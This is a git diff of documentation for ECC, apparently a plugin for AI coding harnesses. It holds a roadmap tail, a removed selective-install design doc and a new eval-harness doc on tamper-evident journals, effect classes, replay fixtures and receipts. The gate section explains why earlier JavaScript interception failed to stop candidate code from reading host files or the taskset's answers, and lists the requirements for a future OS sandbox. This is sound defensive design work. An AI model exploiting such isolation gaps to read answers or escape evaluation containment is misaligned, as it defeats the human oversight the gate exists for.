- 2026-10-31: does a real taskset produce a stable verdict across three runs?
|
||||
If variance is high, hold Track B at receipts and do not start retrospective
|
||||
grouping.
|
||||
- 2026-11-30: did any outside user adopt a desk-pattern skill? If none, stop
|
||||
adding operator skills and fold the four into a single guide.
|
||||
|
||||
## Not on this roadmap
|
||||
|
||||
- Online reinforcement learning or weight updates from capsule data.
|
||||
- Production transparency-log witnessing, GPU attestation, or key management
|
||||
inside the ECC package.
|
||||
- Automatic merge or release driven by a gate verdict. The gate stops changes.
|
||||
A person promotes them.
|
||||
- Any desk, payment, provider, or counterparty integration. Those belong to
|
||||
the systems that own them, not to a portable plugin.
|
||||
|
||||
## How to edit this file
|
||||
|
||||
Change the bracketed numbers first. Move items between months freely. When a
|
||||
line ships, delete it here and record it in `CHANGELOG.md`. Keep the file
|
||||
under [200] lines.
|
||||
@@ -1,489 +0,0 @@
|
||||
# ECC Selective Install Design
|
||||
|
||||
## Purpose
|
||||
|
||||
This document defines the user-facing selective-install design for ECC.
|
||||
|
||||
It complements
|
||||
`docs/SELECTIVE-INSTALL-ARCHITECTURE.md`, which focuses on internal runtime
|
||||
architecture and code boundaries.
|
||||
|
||||
This document answers the product and operator questions first:
|
||||
|
||||
- how users choose ECC components
|
||||
- what the CLI should feel like
|
||||
- what config file should exist
|
||||
- how installation should behave across harness targets
|
||||
- how the design maps onto the current ECC codebase without requiring a rewrite
|
||||
|
||||
## Problem
|
||||
|
||||
Today ECC still feels like a large payload installer even though the repo now
|
||||
has first-pass manifest and lifecycle support.
|
||||
|
||||
Users need a simpler mental model:
|
||||
|
||||
- install the baseline
|
||||
- add the language packs they actually use
|
||||
- add the framework configs they actually want
|
||||
- add optional capability packs like security, research, or orchestration
|
||||
|
||||
The selective-install system should make ECC feel composable instead of
|
||||
all-or-nothing.
|
||||
|
||||
In the current substrate, user-facing components are still an alias layer over
|
||||
coarser internal install modules. That means include/exclude is already useful
|
||||
at the module-selection level, but some file-level boundaries remain imperfect
|
||||
until the underlying module graph is split more finely.
|
||||
|
||||
## Goals
|
||||
|
||||
1. Let users install a small default ECC footprint quickly.
|
||||
2. Let users compose installs from reusable component families:
|
||||
- core rules
|
||||
- language packs
|
||||
- framework packs
|
||||
- capability packs
|
||||
- target/platform configs
|
||||
3. Keep one consistent UX across Claude, Cursor, Antigravity, Codex, and
|
||||
OpenCode.
|
||||
4. Keep installs inspectable, repairable, and uninstallable.
|
||||
5. Preserve backward compatibility with the current `ecc-install typescript`
|
||||
style during rollout.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- packaging ECC into multiple npm packages in the first phase
|
||||
- building a remote marketplace
|
||||
- full control-plane UI in the same phase
|
||||
- solving every skill-classification problem before selective install ships
|
||||
|
||||
## User Experience Principles
|
||||
|
||||
### 1. Start Small
|
||||
|
||||
A user should be able to get a useful ECC install with one command:
|
||||
|
||||
```bash
|
||||
ecc install --target claude --profile core
|
||||
```
|
||||
|
||||
The default experience should not assume the user wants every skill family and
|
||||
every framework.
|
||||
|
||||
### 2. Build Up By Intent
|
||||
|
||||
The user should think in terms of:
|
||||
|
||||
- "I want the developer baseline"
|
||||
- "I need TypeScript and Python"
|
||||
- "I want Next.js and Django"
|
||||
- "I want the security pack"
|
||||
|
||||
The user should not have to know raw internal repo paths.
|
||||
|
||||
### 3. Preview Before Mutation
|
||||
|
||||
Every install path should support dry-run planning:
|
||||
|
||||
```bash
|
||||
ecc install --target cursor --profile developer --with lang:typescript --with framework:nextjs --dry-run
|
||||
```
|
||||
|
||||
The plan should clearly show:
|
||||
|
||||
- selected components
|
||||
- skipped components
|
||||
- target root
|
||||
- managed paths
|
||||
- expected install-state location
|
||||
|
||||
### 4. Local Configuration Should Be First-Class
|
||||
|
||||
Teams should be able to commit a project-level install config and use:
|
||||
|
||||
```bash
|
||||
ecc install --config ecc-install.json
|
||||
```
|
||||
|
||||
That allows deterministic installs across contributors and CI.
|
||||
|
||||
## Component Model
|
||||
|
||||
The current manifest already uses install modules and profiles. The user-facing
|
||||
design should keep that internal structure, but present it as four main
|
||||
component families.
|
||||
|
||||
Near-term implementation note: some user-facing component IDs still resolve to
|
||||
shared internal modules, especially in the language/framework layer. The
|
||||
catalog improves UX immediately while preserving a clean path toward finer
|
||||
module granularity in later phases.
|
||||
|
||||
### 1. Baseline
|
||||
|
||||
These are the default ECC building blocks:
|
||||
|
||||
- core rules
|
||||
- baseline agents
|
||||
- core commands
|
||||
- runtime hooks
|
||||
- platform configs
|
||||
- workflow quality primitives
|
||||
|
||||
Examples of current internal modules:
|
||||
|
||||
- `rules-core`
|
||||
- `agents-core`
|
||||
- `commands-core`
|
||||
- `hooks-runtime`
|
||||
- `platform-configs`
|
||||
- `workflow-quality`
|
||||
|
||||
### 2. Language Packs
|
||||
|
||||
Language packs group rules, guidance, and workflows for a language ecosystem.
|
||||
|
||||
Examples:
|
||||
|
||||
- `lang:typescript`
|
||||
- `lang:python`
|
||||
- `lang:go`
|
||||
- `lang:java`
|
||||
- `lang:rust`
|
||||
|
||||
Each language pack should resolve to one or more internal modules plus
|
||||
target-specific assets.
|
||||
|
||||
### 3. Framework Packs
|
||||
|
||||
Framework packs sit above language packs and pull in framework-specific rules,
|
||||
skills, and optional setup.
|
||||
|
||||
Examples:
|
||||
|
||||
- `framework:react`
|
||||
- `framework:nextjs`
|
||||
- `framework:django`
|
||||
- `framework:springboot`
|
||||
- `framework:laravel`
|
||||
|
||||
Framework packs should depend on the correct language pack or baseline
|
||||
primitives where appropriate.
|
||||
|
||||
### 4. Capability Packs
|
||||
|
||||
Capability packs are cross-cutting ECC feature bundles.
|
||||
|
||||
Examples:
|
||||
|
||||
- `capability:security`
|
||||
- `capability:research`
|
||||
- `capability:orchestration`
|
||||
- `capability:media`
|
||||
- `capability:content`
|
||||
|
||||
These should map onto the current module families already being introduced in
|
||||
the manifests.
|
||||
|
||||
## Profiles
|
||||
|
||||
Profiles remain the fastest on-ramp.
|
||||
|
||||
Recommended user-facing profiles:
|
||||
|
||||
- `core`
|
||||
minimal baseline, safe default for most users trying ECC
|
||||
- `developer`
|
||||
best default for active software engineering work
|
||||
- `security`
|
||||
baseline plus security-heavy guidance
|
||||
- `research`
|
||||
baseline plus research/content/investigation tools
|
||||
- `full`
|
||||
everything classified and currently supported
|
||||
|
||||
Profiles should be composable with additional `--with` and `--without` flags.
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
ecc install --target claude --profile developer --with lang:typescript --with framework:nextjs --without capability:orchestration
|
||||
```
|
||||
|
||||
## Proposed CLI Design
|
||||
|
||||
### Primary Commands
|
||||
|
||||
```bash
|
||||
ecc install
|
||||
ecc plan
|
||||
ecc list-installed
|
||||
ecc doctor
|
||||
ecc repair
|
||||
ecc uninstall
|
||||
ecc catalog
|
||||
```
|
||||
|
||||
### Install CLI
|
||||
|
||||
Recommended shape:
|
||||
|
||||
```bash
|
||||
ecc install [--target <target>] [--profile <name>] [--with <component>]... [--without <component>]... [--config <path>] [--dry-run] [--json]
|
||||
```
|
||||
|
||||
Examples:
|
||||
|
||||
```bash
|
||||
ecc install --target claude --profile core
|
||||
ecc install --target cursor --profile developer --with lang:typescript --with framework:nextjs
|
||||
ecc install --target antigravity --with capability:security --with lang:python
|
||||
ecc install --config ecc-install.json
|
||||
```
|
||||
|
||||
### Plan CLI
|
||||
|
||||
Recommended shape:
|
||||
|
||||
```bash
|
||||
ecc plan [same selection flags as install]
|
||||
```
|
||||
|
||||
Purpose:
|
||||
|
||||
- produce a preview without mutation
|
||||
- act as the canonical debugging surface for selective install
|
||||
|
||||
### Catalog CLI
|
||||
|
||||
Recommended shape:
|
||||
|
||||
```bash
|
||||
ecc catalog profiles
|
||||
ecc catalog components
|
||||
ecc catalog components --family language
|
||||
ecc catalog show framework:nextjs
|
||||
```
|
||||
|
||||
Purpose:
|
||||
|
||||
- let users discover valid component names without reading docs
|
||||
- keep config authoring approachable
|
||||
|
||||
### Compatibility CLI
|
||||
|
||||
These legacy flows should still work during migration:
|
||||
|
||||
```bash
|
||||
ecc-install typescript
|
||||
ecc-install --target cursor typescript
|
||||
ecc typescript
|
||||
```
|
||||
|
||||
Internally these should normalize into the new request model and write
|
||||
install-state the same way as modern installs.
|
||||
|
||||
## Proposed Config File
|
||||
|
||||
### Filename
|
||||
|
||||
Recommended default:
|
||||
|
||||
- `ecc-install.json`
|
||||
|
||||
Optional future support:
|
||||
|
||||
- `.ecc/install.json`
|
||||
|
||||
### Config Shape
|
||||
|
||||
```json
|
||||
{
|
||||
"$schema": "./schemas/ecc-install-config.schema.json",
|
||||
"version": 1,
|
||||
"target": "cursor",
|
||||
"profile": "developer",
|
||||
"include": [
|
||||
"lang:typescript",
|
||||
"lang:python",
|
||||
"framework:nextjs",
|
||||
"capability:security"
|
||||
],
|
||||
"exclude": [
|
||||
"capability:media"
|
||||
],
|
||||
"options": {
|
||||
"hooksProfile": "standard",
|
||||
"mcpCatalog": "baseline",
|
||||
"includeExamples": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Field Semantics
|
||||
|
||||
- `target`
|
||||
selected harness target such as `claude`, `cursor`, or `antigravity`
|
||||
- `profile`
|
||||
baseline profile to start from
|
||||
- `include`
|
||||
additional components to add
|
||||
- `exclude`
|
||||
components to subtract from the profile result
|
||||
- `options`
|
||||
target/runtime tuning flags that do not change component identity
|
||||
|
||||
### Precedence Rules
|
||||
|
||||
1. CLI arguments override config file values.
|
||||
2. config file overrides profile defaults.
|
||||
3. profile defaults override internal module defaults.
|
||||
|
||||
This keeps the behavior predictable and easy to explain.
|
||||
|
||||
## Modular Installation Flow
|
||||
|
||||
The user-facing flow should be:
|
||||
|
||||
1. load config file if provided or auto-detected
|
||||
2. merge CLI intent on top of config intent
|
||||
3. normalize the request into a canonical selection
|
||||
4. expand profile into baseline components
|
||||
5. add `include` components
|
||||
6. subtract `exclude` components
|
||||
7. resolve dependencies and target compatibility
|
||||
8. render a plan
|
||||
9. apply operations if not in dry-run mode
|
||||
10. write install-state
|
||||
|
||||
The important UX property is that the exact same flow powers:
|
||||
|
||||
- `install`
|
||||
- `plan`
|
||||
- `repair`
|
||||
- `uninstall`
|
||||
|
||||
The commands differ in action, not in how ECC understands the selected install.
|
||||
|
||||
## Target Behavior
|
||||
|
||||
Selective install should preserve the same conceptual component graph across all
|
||||
targets, while letting target adapters decide how content lands.
|
||||
|
||||
### Claude
|
||||
|
||||
Best fit for:
|
||||
|
||||
- home-scoped ECC baseline
|
||||
- commands, agents, rules, hooks, platform config, orchestration
|
||||
|
||||
### Cursor
|
||||
|
||||
Best fit for:
|
||||
|
||||
- project-scoped installs
|
||||
- rules plus project-local automation and config
|
||||
|
||||
### Antigravity
|
||||
|
||||
Best fit for:
|
||||
|
||||
- project-scoped agent/rule/workflow installs
|
||||
|
||||
### Codex / OpenCode
|
||||
|
||||
Should remain additive targets rather than special forks of the installer.
|
||||
|
||||
The selective-install design should make these just new adapters plus new
|
||||
target-specific mapping rules, not new installer architectures.
|
||||
|
||||
## Technical Feasibility
|
||||
|
||||
This design is feasible because the repo already has:
|
||||
|
||||
- install module and profile manifests
|
||||
- target adapters with install-state paths
|
||||
- plan inspection
|
||||
- install-state recording
|
||||
- lifecycle commands
|
||||
- a unified `ecc` CLI surface
|
||||
|
||||
The missing work is not conceptual invention. The missing work is productizing
|
||||
the current substrate into a cleaner user-facing component model.
|
||||
|
||||
### Feasible In Phase 1
|
||||
|
||||
- profile + include/exclude selection
|
||||
- `ecc-install.json` config file parsing
|
||||
- catalog/discovery command
|
||||
- alias mapping from user-facing component IDs to internal module sets
|
||||
- dry-run and JSON planning
|
||||
|
||||
### Feasible In Phase 2
|
||||
|
||||
- richer target adapter semantics
|
||||
- merge-aware operations for config-like assets
|
||||
- stronger repair/uninstall behavior for non-copy operations
|
||||
|
||||
### Later
|
||||
|
||||
- reduced publish surface
|
||||
- generated slim bundles
|
||||
- remote component fetch
|
||||
|
||||
## Mapping To Current ECC Manifests
|
||||
|
||||
The current manifests do not yet expose a true user-facing `lang:*` /
|
||||
`framework:*` / `capability:*` taxonomy. That should be introduced as a
|
||||
presentation layer on top of the existing modules, not as a second installer
|
||||
engine.
|
||||
|
||||
Recommended approach:
|
||||
|
||||
- keep `install-modules.json` as the internal resolution catalog
|
||||
- add a user-facing component catalog that maps friendly component IDs to one or
|
||||
more internal modules
|
||||
- let profiles reference either internal modules or user-facing component IDs
|
||||
during the migration window
|
||||
|
||||
That avoids breaking the current selective-install substrate while improving UX.
|
||||
|
||||
## Suggested Rollout
|
||||
|
||||
### Phase 1: Design And Discovery
|
||||
|
||||
- finalize the user-facing component taxonomy
|
||||
- add the config schema
|
||||
- add CLI design and precedence rules
|
||||
|
||||
### Phase 2: User-Facing Resolution Layer
|
||||
|
||||
- implement component aliases
|
||||
- implement config-file parsing
|
||||
- implement `include` / `exclude`
|
||||
- implement `catalog`
|
||||
|
||||
### Phase 3: Stronger Target Semantics
|
||||
|
||||
- move more logic into target-owned planning
|
||||
- support merge/generate operations cleanly
|
||||
- improve repair/uninstall fidelity
|
||||
|
||||
### Phase 4: Packaging Optimization
|
||||
|
||||
- narrow published surface
|
||||
- evaluate generated bundles
|
||||
|
||||
## Recommendation
|
||||
|
||||
The next implementation move should not be "rewrite the installer."
|
||||
|
||||
It should be:
|
||||
|
||||
1. keep the current manifest/runtime substrate
|
||||
2. add a user-facing component catalog and config file
|
||||
3. add `include` / `exclude` selection and catalog discovery
|
||||
4. let the existing planner and lifecycle stack consume that model
|
||||
|
||||
That is the shortest path from the current ECC codebase to a real selective
|
||||
install experience that feels like ECC 2.0 instead of a large legacy installer.
|
||||
@@ -59,6 +59,9 @@ Adapters should stay thin. The shared behavior belongs in `skills/`, `rules/`, `
|
||||
|
||||
## Shared Memory Contract
|
||||
|
||||
The session snapshot side of this contract (`ecc.session.v1`) is specified in
|
||||
[session-adapter-contract.md](session-adapter-contract.md).
|
||||
|
||||
ECC Memory Vault is the common knowledge-transfer surface for Claude, Codex,
|
||||
Hermes, Cursor, OpenCode, and other agents. It stores portable
|
||||
`ecc.memory.v1` Markdown documents in three scopes:
|
||||
|
||||
@@ -0,0 +1,330 @@
|
||||
# Eval Harness Frameworks
|
||||
|
||||
Local capsule, inspection, fixture replay, and receipt building blocks.
|
||||
Candidate execution and promotion are unavailable.
|
||||
They live in `scripts/lib/eval-harness/`, ship with a CLI at
|
||||
`scripts/eval-harness.js`, and have an end-to-end example under
|
||||
`examples/eval-harness/`. The example runs locally, offline, and inside temporary
|
||||
directories. It does not merge, deploy, publish, or spend.
|
||||
|
||||
```sh
|
||||
node scripts/eval-harness.js example
|
||||
```
|
||||
|
||||
## Why these five
|
||||
|
||||
The harness engineering plan v2 (August 2026) describes a twelve-layer stack.
|
||||
The part that belongs in the portable ECC package is the contract surface any
|
||||
harness can install and exercise: record what happened, prove it was not
|
||||
altered, gate a proposed change behind an external checker, replay tool calls
|
||||
without re-firing effects, and hand a verifier something it can check without
|
||||
trusting the producer. The execution gate remains disabled pending a verified OS containment backend.
|
||||
The other modules expose local utilities, not a trust decision about code.
|
||||
|
||||
| Framework | Module | Plan epic | What it gives you today |
|
||||
| --- | --- | --- | --- |
|
||||
| Envelope | `envelope.js`, `schemas/capsule-envelope.schema.json` | 01 telemetry and capsule contract | `capsule-envelope/v1`, stable identifiers, effect classes SE0 to SE4, default-deny payload allowlist, secret canaries |
|
||||
| Capsule | `capsule.js` | 02 local execution capsule | Append-only NDJSON journal, five lineages, sha256 predecessor links, `verify` that fails at the exact entry, byte-stable projection, minimal export bundle |
|
||||
| Gate | `gate.js`, `gate-child.js` | 03 verification gate | Static source digests and syntactic warnings; all execution entrypoints refuse |
|
||||
| Replay | `replay.js`, `effect-fence.js` | 04 replay-safe branching | Declared determinism and effect class per tool, content-addressed fixtures, `tool.fixture_missing` fail-closed replay, retired child preload refuses execution |
|
||||
| Receipt | `receipt.js` | 07 verifiable receipts | Offline receipt over capsule root, entry count, artifact digest, and gate receipt; detached signature interface; verification names the failing check |
|
||||
|
||||
Epics 05 (offline self-improvement) and 06 (causal triage and compaction
|
||||
invariance) are not implemented. They consume the records these five produce.
|
||||
|
||||
## Effect classes
|
||||
|
||||
Every journal entry, tool declaration, and variant manifest carries one class.
|
||||
|
||||
| Class | Meaning | Where it is allowed |
|
||||
| --- | --- | --- |
|
||||
| SE0 | Read-only evaluation or schema validation | Everywhere |
|
||||
| SE1 | Reversible local writes inside the capsule or work root | Journal, gate metadata |
|
||||
| SE2 | Process or filesystem mutation, no live network writes | Candidate execution unavailable |
|
||||
| SE3 | Append-only remote evidence publication | Never in replay; trusted record-mode caller controls authorization; refused in replay |
|
||||
| SE4 | Economic, counterparty, payment, provider, or secret-handling effects | Never in replay; record mode requires the trusted caller to forbid it |
|
||||
|
||||
Effect classes are declarations, not OS permissions. Static inspection reports
|
||||
effect-class expansion but cannot enforce a declaration. The replayer refuses
|
||||
SE3 and above in replay mode regardless of fixtures; record mode invokes the
|
||||
caller-supplied implementation up to its configured maximum. Only register
|
||||
trusted implementations. No JavaScript tool wrapper isolates arbitrary code.
|
||||
|
||||
## Capsule journal
|
||||
|
||||
A capsule is a directory with `capsule.json`, `journal.ndjson`, and an optional
|
||||
`projection.json`. Each line of the journal is one canonical-JSON envelope. The
|
||||
first entry links to sixty-four zeros; every later entry links to the previous
|
||||
`entry_hash`.
|
||||
|
||||
```js
|
||||
const { capsule } = require('./scripts/lib/eval-harness');
|
||||
const c = capsule.Capsule.create('.ecc/capsules/run-42', { task_family: 'slugify' });
|
||||
c.append('plan', 'inspection.start', { task_id: 't01' });
|
||||
c.append('attempt', 'gate.unavailable', { status: 'blocked', reason: 'gate.isolation_required' });
|
||||
capsule.verify('.ecc/capsules/run-42'); // { ok, code, failed_at, root_hash }
|
||||
```
|
||||
|
||||
`verify` returns `ok: false` with a stable code and the exact failing index for
|
||||
a changed byte (`capsule.invalid_entry`), a dropped or swapped entry
|
||||
(`capsule.reordered` or `capsule.broken_link`), and a partial trailing write
|
||||
(`capsule.truncated_tail`). The journal digest covers the original bytes;
|
||||
invalid UTF-8 is rejected as `capsule.non_canonical`. `project` derives stable
|
||||
content from the verified journal snapshot and validated metadata. `exportBundle`
|
||||
copies the three capsule files and nothing from the workspace.
|
||||
|
||||
Metadata is validated before creation writes and when opening, verifying or
|
||||
projecting a capsule. IDs use the envelope ID pattern; harness/task family must
|
||||
be nonempty, and created_at must use the canonical ISO timestamp produced by
|
||||
Date.toISOString(). Missing, unreadable or malformed metadata returns
|
||||
`capsule.metadata_invalid`; invalid UTF-8 is also rejected. Every journal entry must match metadata schema,
|
||||
run_id, capsule_id, harness_version and task_family, or verification returns
|
||||
`capsule.metadata_mismatch` at that entry. Empty journals have no historical
|
||||
identity binding; their projection and receipt bind the metadata values.
|
||||
created_at is shape-checked but is not authenticated by journal entries.
|
||||
|
||||
Envelope v1 enforces the scalar payload types declared in
|
||||
`schemas/capsule-envelope.schema.json`. String fields require strings; number
|
||||
fields require finite numbers, and integer fields require integers. Only
|
||||
`exit_code` accepts null. No extra nonnegative restrictions are imposed on these
|
||||
payload numbers. Omitted append payloads still default to an empty object.
|
||||
Explicit null, arrays, primitives, exotic objects, accessors, symbol keys and
|
||||
non-enumerable properties are rejected. Plain data objects with either the normal
|
||||
or null prototype are accepted. Validation inspects descriptors before reading
|
||||
values; it does not isolate proxies or arbitrary caller JavaScript.
|
||||
|
||||
Retained fields are validated before canary scanning or hashing. Undefined,
|
||||
non-finite numbers, functions, symbols, BigInt and nested/cyclic objects are
|
||||
refused instead of coerced, dropped from serialized bytes or recursively scanned.
|
||||
`redactPayload` adds an `errors` array to its existing result; callers must check
|
||||
it alongside `dropped` and `findings`. Append reports `capsule.payload_invalid`
|
||||
without writing a journal entry; the existing finally path releases its owned
|
||||
lock. Strict unknown payload keys still report `capsule.payload_denied`.
|
||||
`strict: false` permits dropping unknown keys, but never invalid retained values.
|
||||
Custom allowlists can narrow v1 fields only, and cannot widen the persisted schema.
|
||||
|
||||
Envelope validation also requires its own schema-defined fields and rejects
|
||||
unknown top-level fields even when the supplied hash has been recomputed. Invalid
|
||||
stored records return `capsule.invalid_entry` at their journal index. This tightens
|
||||
acceptance of malformed v1 data: existing nonconforming callers/journals need
|
||||
explicit correction; no automatic migration or healing is performed. Valid v1
|
||||
bytes and hashes remain unchanged. Generic key preservation and remaining
|
||||
non-JSON limitations are described below; neither supplies OS containment.
|
||||
|
||||
The generic canonicalizer preserves every selected own enumerable JSON key as an
|
||||
own data property, including `__proto__`, `constructor` and `prototype`. It does
|
||||
not invoke an inherited setter while constructing the canonical object. Results
|
||||
retain their ordinary object prototype. Envelope schema rejection is separate:
|
||||
an own `__proto__` key is valid generic JSON data but remains an unknown envelope
|
||||
field. Receipt schema acceptance is unchanged; hashing a field is not permission
|
||||
from a higher-level schema.
|
||||
|
||||
Traversal, key sorting, array handling, undefined omission, JSON.stringify and
|
||||
UTF-8 hashing retain their prior policy, including JavaScript's ordering of
|
||||
numeric-looking keys. Schema-valid v1 journal/projection bytes and unaffected
|
||||
receipt/fixture bytes stay identical. Regression vectors were captured from the
|
||||
pre-fix implementation, including unsigned and synthetic string-signed receipts.
|
||||
Verification does not rewrite those stored artifacts.
|
||||
|
||||
The earlier canonicalizer omitted own `__proto__` keys, creating hash aliases.
|
||||
Corrected inputs retaining that key intentionally produce different hashes. An
|
||||
artifact retaining it with a legacy digest fails existing hash checks; a fixture
|
||||
lookup does not fall back to the old aliased key. Existing key-free stored bytes
|
||||
remain readable as those bytes, but cannot authenticate richer original inputs
|
||||
whose keys were lost. Recovery requires explicit re-recording from a trusted
|
||||
source or receipt rebuilding/re-signing; there is no automatic rekey, migration,
|
||||
rewrite, dual-hash acceptance or recovery of already discarded information.
|
||||
|
||||
This correction does not define a stricter generic policy for undefined,
|
||||
functions/symbols, non-finite numbers, sparse arrays, class/toJSON/getter behavior,
|
||||
cycles, resource limits or hostile proxies. Their prior behavior remains; no
|
||||
claim of unambiguous hashing for every JavaScript value is made. The envelope's
|
||||
stricter scalar validation remains a separate layer.
|
||||
|
||||
Append operations serialize cooperating writers using an exclusive local
|
||||
`.append.lock` file. Acquisition uses `wx` and fails immediately with
|
||||
`capsule.busy` when the path exists, regardless of age or contents. There is no
|
||||
waiting, retry, PID/age heuristic, or automatic stale unlocking. Under ownership,
|
||||
each append reloads and verifies the complete journal and metadata, then derives
|
||||
its sequence and predecessor hash from that snapshot. Preopened handles never
|
||||
use cached sequence/hash values as authoritative state. Full validation costs
|
||||
O(journal size) per append; this implementation is intended for small local
|
||||
journals.
|
||||
|
||||
The writer handles short writes until the complete UTF-8 entry has been written,
|
||||
then fsyncs the journal. The append lock is released in finally on success,
|
||||
validation refusal, or ordinary I/O exceptions. A zero-progress write returns
|
||||
`capsule.write_failed`. Release checks the open lock descriptor's device/inode
|
||||
against the path before unlinking; a detected missing/replaced lock returns
|
||||
`capsule.lock_lost` and a replacement is preserved. This is cooperative ownership
|
||||
checking, not atomic protection against an actor replacing paths between syscalls.
|
||||
The local filesystem must support exclusive file creation and stable identities.
|
||||
|
||||
A process crash can leave `.append.lock` behind. Acquisition/cleanup I/O failures
|
||||
can also leave a lock that was not safely released. Further appends stay busy;
|
||||
only an operator who has stopped all writers and inspected the capsule should
|
||||
perform recovery. The library never guesses ownership, removes an old lock,
|
||||
truncates a tail, or repairs journal bytes automatically.
|
||||
|
||||
A write failure may leave a partial entry; later appends verify the journal and
|
||||
refuse the invalid tail, preserving evidence. A full entry may already exist when
|
||||
fsync, close or lock release throws. Such a failure is an ambiguous acknowledgement,
|
||||
not proof of rollback: inspect disk before retrying, or a logical event could be
|
||||
recorded twice. No transaction, exactly-once retry, parent-directory fsync, or
|
||||
power-loss durability guarantee is added here.
|
||||
|
||||
Create, read/verify, projection, receipt production and export are not serialized
|
||||
by the append lock. Use quiescent capsules for consistent receipts/exports; there
|
||||
is no concurrent export guarantee or hostile-filesystem containment. The append
|
||||
repair does not change the disabled candidate execution boundary.
|
||||
|
||||
What the chain does not claim: it does not stop an operator from replacing the
|
||||
whole log. That is the job of a witnessed transparency log, which is a later,
|
||||
opt-in layer outside this package.
|
||||
|
||||
## Verification gate: unavailable
|
||||
|
||||
**Supported candidate execution backends: none, on any OS.** `runGate` and
|
||||
`runVariant` throw `gate.isolation_required` unconditionally, before reading
|
||||
configuration, copying files, loading candidate modules, or creating receipts.
|
||||
`gate run` exits 1 before reading its config or creating a capsule. Direct
|
||||
`gate-child.js` invocation and the retired `effect-fence.js` preload also refuse
|
||||
before loading requests or candidate code. Trust flags and caller-supplied
|
||||
executor objects cannot enable execution. There is no promotion path.
|
||||
|
||||
The former directory copy and JavaScript interception did not isolate host
|
||||
reads, alternate builtin loaders, or filesystem descriptors and promises.
|
||||
Keeping answers in a parent process did not hide the taskset on disk. The
|
||||
interception code and staged execution implementation have been removed.
|
||||
Node's [permission model](https://nodejs.org/api/permissions.html) and
|
||||
[`vm` module](https://nodejs.org/api/vm.html) are not substitutes for isolation
|
||||
of malicious code.
|
||||
|
||||
A future executor must have a separately reviewed OS containment implementation
|
||||
and adversarial evidence on each supported OS. At minimum it must:
|
||||
|
||||
- Expose only immutable, digested variant files and task inputs in an ephemeral
|
||||
filesystem. Host tasksets, answers, credentials, configuration, sockets, and
|
||||
other workspaces must be inaccessible, including via links and inherited FDs.
|
||||
- Enforce network, process, filesystem, and resource restrictions outside the
|
||||
candidate runtime, with an unprivileged identity and a bounded lifetime.
|
||||
- Keep the checker, output/protocol validation, audit channel, and receipt
|
||||
creation outside candidate control. Verify the actual runtime policy using
|
||||
independent canaries before any candidate starts; refuse unavailable backends.
|
||||
- Reject failed, timed-out, signalled, incomplete, or malformed baseline runs
|
||||
before evaluating candidate improvements. Require a complete unique result
|
||||
for each task. Container availability or a caller's `verified: true` assertion
|
||||
alone is not policy verification.
|
||||
|
||||
Static APIs remain available for trusted, quiescent local source trees:
|
||||
`loadTaskset`, `loadVariant`, `digestDir`, and `scanTripwires`. Variant names are
|
||||
single components of 1–64 ASCII letters, digits, underscores or hyphens, starting
|
||||
with a letter or digit. Entries must be relative regular files included in the
|
||||
digest; absolute, parent-traversing, symlinked, and excluded entries are rejected.
|
||||
`.git` and `node_modules` remain excluded. Inspection does not resist concurrent
|
||||
host filesystem mutation and is not a sandbox or an execution attestation.
|
||||
Task IDs must be unique. Syntactic warnings are incomplete by design: zero hits
|
||||
prove neither safety nor correctness.
|
||||
|
||||
`parseChildResult` and `baselineFailure(run, tasks)` are pure validation helpers
|
||||
for bounded protocol and baseline integrity regression checks. No executor calls
|
||||
them in this release. Their tests are not evidence of an operational gate or a
|
||||
verified OS backend. Existing manifest/config fixtures are preserved as data.
|
||||
|
||||
## Replay-safe tool calls
|
||||
|
||||
```js
|
||||
const { replay } = require('./scripts/lib/eval-harness');
|
||||
const store = new replay.FixtureStore('.ecc/fixtures');
|
||||
const tools = {
|
||||
read_inventory: { effect_class: 'SE0', determinism: 'deterministic', impl: liveRead },
|
||||
place_order: { effect_class: 'SE4', determinism: 'nondeterministic', impl: livePlace },
|
||||
};
|
||||
const r = replay.createReplayer(tools, { mode: 'replay', store, maxEffectClass: 'SE2' });
|
||||
r.call('read_inventory', { sku: 'gpu-8x' }); // served from fixture or tool.fixture_missing
|
||||
r.call('place_order', { sku: 'gpu-8x' }); // tool.effect_forbidden, always
|
||||
```
|
||||
|
||||
Fixtures are keyed by the canonical hash of `(tool, args)` and store both an
|
||||
argument hash and a response hash, so a stale or edited fixture fails with
|
||||
`tool.fixture_mismatch`. Record mode executes caller-supplied trusted functions;
|
||||
replay uses fixtures. These wrappers do not constrain arbitrary effects inside
|
||||
an implementation. The legacy `EFFECT_FENCE_PRELOAD` export remains for import
|
||||
compatibility, but loading that file always throws `gate.isolation_required`.
|
||||
It no longer attempts JavaScript interception.
|
||||
|
||||
## Offline receipts
|
||||
|
||||
```sh
|
||||
node scripts/eval-harness.js receipt build .ecc/capsules/run-42 \
|
||||
--artifact skills/my-skill/SKILL.md --out run-42.receipt.json
|
||||
node scripts/eval-harness.js receipt verify run-42.receipt.json exported-bundle/ \
|
||||
--artifact skills/my-skill/SKILL.md
|
||||
```
|
||||
|
||||
A receipt names the capsule root, entry count, journal digest, projection
|
||||
hash, artifact digest, and optional gate receipt digest, plus its own hash.
|
||||
`buildReceipt` now persists `projection.json` using the verified journal snapshot
|
||||
before returning the receipt. This is a producer write and can fail on a read-only
|
||||
capsule; copy a read-only source to a writable local directory before building.
|
||||
An explicit invalid artifact_digest throws `receipt.schema_invalid` before the
|
||||
projection write. Other construction failures continue to throw.
|
||||
|
||||
`verifyReceipt` is read-only. It never regenerates or heals a missing projection.
|
||||
The supplied projection must parse and match the complete deterministic projection
|
||||
from the validated metadata/journal snapshot; its computed hash must match both
|
||||
its stored projection_hash and the receipt. Missing, unreadable, corrupt or
|
||||
substituted projections return `check: 'projection'`; invalid UTF-8 is rejected. Receipt identity mismatches
|
||||
and invalid capsule metadata return `check: 'metadata'`.
|
||||
|
||||
Schema validation rejects negative, fractional, string or unsafe entry counts,
|
||||
invalid identity/schema values and malformed required digests before journal
|
||||
indexing. Optional artifact/gate digest fields must be SHA-256 values or null.
|
||||
Otherwise valid receipts retain signature, journal integrity, truncation,
|
||||
capsule-root and stale-checkpoint checks before projection/artifact comparisons.
|
||||
Missing or unreadable artifact files return `check: 'artifact'` rather than
|
||||
throwing. Every verification failure has `{ok: false, check, reason}` for these
|
||||
validated file/content cases.
|
||||
|
||||
Existing v1 exported bundles retain their format. Older source directories whose
|
||||
receipts were built without a saved projection must explicitly run `capsule
|
||||
project` or rebuild the receipt before verification; verification itself never
|
||||
